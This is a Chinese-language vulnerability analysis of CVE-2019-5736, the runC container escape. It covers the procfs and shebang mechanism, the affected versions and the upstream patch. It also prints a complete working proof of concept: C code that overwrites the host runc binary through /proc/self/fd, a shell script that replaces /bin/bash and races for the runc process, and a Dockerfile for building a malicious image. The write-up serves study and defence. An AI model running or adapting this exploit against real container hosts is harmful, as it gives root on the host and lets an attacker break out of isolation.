漏洞简介

RunC 是一个轻量级的工具,它是用来运行容器的,只用来做这一件事,并且这一件事要做好。我们可以认为它就是个命令行小工具,可以不用通过 docker 引擎,直接运行容器。事实上,runC 是标准化的产物,它根据 OCI 标准来创建和运行容器。而 OCI(Open Container Initiative)组织,旨在围绕容器格式和运行时制定一个开放的工业化标准。

换一句话说,其实 Docker 在管理容器的时候,其实底层就是跑的RunC。

1
root@VM-118-78-ubuntu:~# docker info | grep "runc"Runtimes: runcDefault Runtime: runcrunc version: N/A (expected: 54296cf40ad8143b62dbcaa1d90e520a2136ddfe)WARNING: No swap limit support

该漏洞允许恶意容器(以最少的用户交互)覆盖主机runc二进制文件,从而在主机上以root级别执行代码。用户交互的级别能够允许上下文中的任何一个容器以root身份运行任何命令:

  1. 使用攻击者控制的映像创建新的容器;

  2. 将(docker exec)附加到攻击者之前具有写入权限的已有容器中。

这两种情况看起来可能不同,但都需要runC来启动容器中的新进程,并以类似的方式实现。在这两种情况下,runC的任务是在容器中运行用户定义的二进制文件。 在Docker中,这个二进制文件是启动新容器时映像的入口点,或者是附加到现有容器时的docker exec参数。

运行这个用户二进制文件时,它必须已经被限制在容器内,否则可能会威胁主机安全。为了实现这一点,runC创建了一个名为“runC init”的子进程,它将所有需要的限制放在其自身(例如:输入、设置命名空间),并有效地将其自身放置在容器中。然后,现在在容器中的runC init进程调用execve系统调用,使用用户请求的二进制文件覆盖自身。

漏洞影响

Ubuntu:runc 1.0.0~rc4+dfsg1-6ubuntu0.18.10.1之前版本

Debian:runc 0.1.1+dfsg1-2 之前版本
RedHat Enterprise Linux: docker 1.13.1-91.git07f3374.el7之前版本
Amazon Linux:docker 18.06.1ce-7.25.amzn1.x86_64之前版本

CoreOS:2051.0.0之前版本
Kops Debian 所有版本(正在修复)
Docker:18.09.2之前版本

利用条件

使用攻击者控制的镜像创建新容器
攻击者具有某容器的写入权限,通过docker exec或其他方式进入容器中

漏洞原理

要了解漏洞,我们首先需要了解一些procfs的基础知识。Proc文件系统是 Linux 中的一个虚拟文件系统,主要提供有关进程的信息,通常安装在/proc上。它在某种意义上来说是虚拟的,因为它在磁盘上实际不存在。相反,内核会在内存中创建它。它还可以被认为是一个内存为文件系统公开的系统数据接口。每个进程在procfs中都有自己的目录,位于/proc/[pid]:

img

下图标书runC用于创建新容器以及将进程附加到现有容器的方法

img

研究人员发现,攻击者可以通过要求runC运行/proc/self/exe来欺骗runC执行其自身,这是一个指向主机上runC二进制文件的符号链接。

img

Docker 提供 exec 命令方便用户在宿主机与容器进行交互。如通过 docker run exec -it < CONTAINER ID> /bin/bash ,可以进入容器在容器中执行命令,此命令实际上执行了容器中的 /bin/bash 文件。我们可以在容器内覆盖目标文件为 #!/proc/self/exe ,如下图所示:

img

#!语法被称为Shebang,在脚本中用于指定解释器。当Linux加载器遇到Shebang时,将会运行解释器,而不是可执行文件。

又知Docker的很多操作都是通过runc去运行的,因此可以通过 docker exec 命令执行到被覆盖的目标文件,欺骗runc执行它自己。因此在容器外运行 docker run exec -it < CONTAINER ID> /bin/bash 会欺骗runc运行 /proc/self/exe (runc)如下图:

img

此时 /bin/bash 已经被替换,并且成功欺骗runc执行runc。但runc进程不会一直驻留,因此编写一个Shell代码测试。

1
while true; do
2
  for f in $(ps -ef | awk '{print $2}'); do
3
    cmdline=$(cat /proc/${f}/cmdline)
4
     if [[ ${cmdline} == *runc* ]]; then
5
           echo   !!!!!!!!found runc in proc !!!!!!!!!!!!!
6
      fi
7
  done
8
done

在运行以上代码时通过 docker exec 执行容器中的 /bin/bash ,看到如下输出即说明欺骗成功:

img

此时由于runc在使用中,无法直接覆盖runc,因此需要使用C语言编写PoC。通过 O_PATH 标志,忽略权限打开runc所在 /proc/${pid}/exe 的二进制文件,获取其文件标识符 fd 。然后在从文件标识符中( /proc/self/fd/${fd} )以 O_WRONLY (只写)标志重新打开文件,然后在一个循环中重复尝试将Payload写入文件标识符中,写入成功后在runc退出的时候会覆盖宿主机上的runc文件。再次使用runc(执行 docker exec 等)即可执行恶意代码。

利用效果如下,在容器中执行Shell覆盖 /bin/bash 文件并监控进程:

img

在容器外执行容器内的 /bin/bash 后,容器内发现runc进程马上执行恶意代码写入Payload:

img

查看效果:

img

POC构造:

  • 拥有 docker exec 权限,可构造PoC如下:

payload.c

1
#include <stdio.h>
2
#include <unistd.h>
3
4
int main (int argc, char **argv) {
5
  execl("/usr/bin/touch", "touch", "/hacked_by_Tunan", NULL);
6
  return 0;
7
}

poc.c

1
#include <sys/types.h>
2
#include <sys/stat.h>
3
#include <fcntl.h>
4
#include <stdlib.h>
5
#include <stdio.h>
6
#include <unistd.h>
7
8
#define PAYLOAD_MAX_SIZE 1048576
9
#define O_PATH 010000000
10
#define SELF_FD_FMT "/proc/self/fd/%d"
11
12
int main(int argc, char **argv) {
13
    int fd, ret;
14
    char *payload, dest[512];
15
16
    if (argc < 2) {
17
        printf("usage: %s FILE\n", argv[0]);
18
        return 1;
19
    }
20
21
    payload = malloc(PAYLOAD_MAX_SIZE);
22
    if (payload == NULL) {
23
        puts("Could not allocate memory for payload.");
24
        return 2;
25
    }
26
27
    FILE *f = fopen("./payload", "r");
28
    if (f == NULL) {
29
        puts("Could not read payload file.\n");
30
        return 3;
31
    }
32
    int payload_sz = fread(payload, 1, PAYLOAD_MAX_SIZE, f);
33
34
    for (;;) {
35
        fd = open(argv[1], O_PATH); // O_PATH打开文件不需要对文件有权限
36
        if (fd >= 0) {
37
            printf("Successfuly opened %s at fd %d\n", argv[1], fd);
38
            snprintf(dest, 500, SELF_FD_FMT, fd);// 格式化字符串,将文件标识符写入dest中
39
            puts(dest);// 写入缓冲区
40
            int i;
41
            for (i = 0; i < 9999999; i++) {
42
                fd = open(dest, O_WRONLY | O_TRUNC); // 以只写的形式再次打开缓冲区中的内容,拿到fd(文件标识符)
43
                if (fd >= 0) {
44
                    printf("Successfully openned runc binary as WRONLY\n");
45
                    ret = write(fd, payload, payload_sz); // 写入文件标识符
46
                    if (ret > 0) printf("Payload deployed\n");
47
                    break;
48
                }
49
            }
50
            break;
51
        }
52
    }
53
    return 0;
54
}

poc.sh

1
#!/bin/bash
2
3
function poc() {
4
    echo '#!/proc/self/exe' > /bin/bash
5
    chmod +x /bin/bash
6
7
    while true; do
8
        for pid in $(ps -ef | awk '{print $2}'); do
9
            cmdline=$(cat /proc/${pid}/cmdline)
10
            if [[ ${cmdline} == *runc* ]]; then
11
                echo !!!!!!!!runc was found !!!!!!!!!!!!!
12
                echo pid:${pid}
13
                echo starting exploit
14
                ./poc /proc/${pid}/exe
15
                echo finish! run docker exec -it <CONTAINER ID> /bin/bash to see the effect
16
            fi
17
        done
18
    done
19
}
20
21
exec 2>/dev/null
22
poc
  • 如果没有 docker exec 权限,可构造恶意image,增加Dockerfile:
1
FROM ubuntu
2
RUN apt-get update
3
RUN apt-get install -y build-essential
4
ADD . /poc
5
WORKDIR /poc
6
RUN make
7
CMD ["./poc.sh"]

漏洞修复

merge branch ‘cve-2019-5736’

img

补丁中增加了克隆二进制文件的相关处理,并且在 nsexec() 函数中增加了判断是否是克隆文件的逻辑,如果不是克隆文件则抛出错误并退出。

ensure_cloned_binary 函数:

1
int ensure_cloned_binary(void)
2
{
3
	int execfd;
4
	char **argv = NULL, **envp = NULL;
5
6
	/* Check that we're not self-cloned, and if we are then bail. */
7
	int cloned = is_self_cloned();
8
	if (cloned > 0 || cloned == -ENOTRECOVERABLE)
9
		return cloned;
10
11
	if (fetchve(&argv, &envp) < 0)
12
		return -EINVAL;
13
14
	execfd = clone_binary();
15
	if (execfd < 0)
16
		return -EIO;
17
18
	fexecve(execfd, argv, envp);
19
	return -ENOEXEC;
20
}

首先判断 exe 是否被clone

1
static int is_self_cloned(void)
2
{
3
	int fd, ret, is_cloned = 0;
4
5
	fd = open("/proc/self/exe", O_RDONLY|O_CLOEXEC);
6
	if (fd < 0)
7
		return -ENOTRECOVERABLE;
8
9
#ifdef HAVE_MEMFD_CREATE
10
	ret = fcntl(fd, F_GET_SEALS);
11
	is_cloned = (ret == RUNC_MEMFD_SEALS);
12
#else
13
	struct stat statbuf = {0};
14
	ret = fstat(fd, &statbuf);
15
	if (ret >= 0)
16
		is_cloned = (statbuf.st_nlink == 0);
17
#endif
18
	close(fd);
19
	return is_cloned;
20
}

如果否,则执行 clone_binary 函数

1
static int clone_binary(void)
2
{
3
	int binfd, memfd;
4
	ssize_t sent = 0;
5
6
#ifdef HAVE_MEMFD_CREATE
7
	memfd = memfd_create(RUNC_MEMFD_COMMENT, MFD_CLOEXEC | MFD_ALLOW_SEALING);
8
#else
9
	memfd = open("/tmp", O_TMPFILE | O_EXCL | O_RDWR | O_CLOEXEC, 0711);
10
#endif
11
	if (memfd < 0)
12
		return -ENOTRECOVERABLE;
13
14
	binfd = open("/proc/self/exe", O_RDONLY | O_CLOEXEC);
15
	if (binfd < 0)
16
		goto error;
17
18
	sent = sendfile(memfd, binfd, NULL, RUNC_SENDFILE_MAX);
19
	close(binfd);
20
	if (sent < 0)
21
		goto error;
22
23
#ifdef HAVE_MEMFD_CREATE
24
	int err = fcntl(memfd, F_ADD_SEALS, RUNC_MEMFD_SEALS);
25
	if (err < 0)
26
		goto error;
27
#else
28
	/* Need to re-open "memfd" as read-only to avoid execve(2) giving -EXTBUSY. */
29
	int newfd;
30
	char *fdpath = NULL;
31
32
	if (asprintf(&fdpath, "/proc/self/fd/%d", memfd) < 0)
33
		goto error;
34
	newfd = open(fdpath, O_RDONLY | O_CLOEXEC);
35
	free(fdpath);
36
	if (newfd < 0)
37
		goto error;
38
39
	close(memfd);
40
	memfd = newfd;
41
#endif
42
	return memfd;
43
44
error:
45
	close(memfd);
46
	return -EIO;
47
}

return 一个新的 fd

参考:

https://www.codercto.com/a/62757.html

https://www.codercto.com/a/59353.html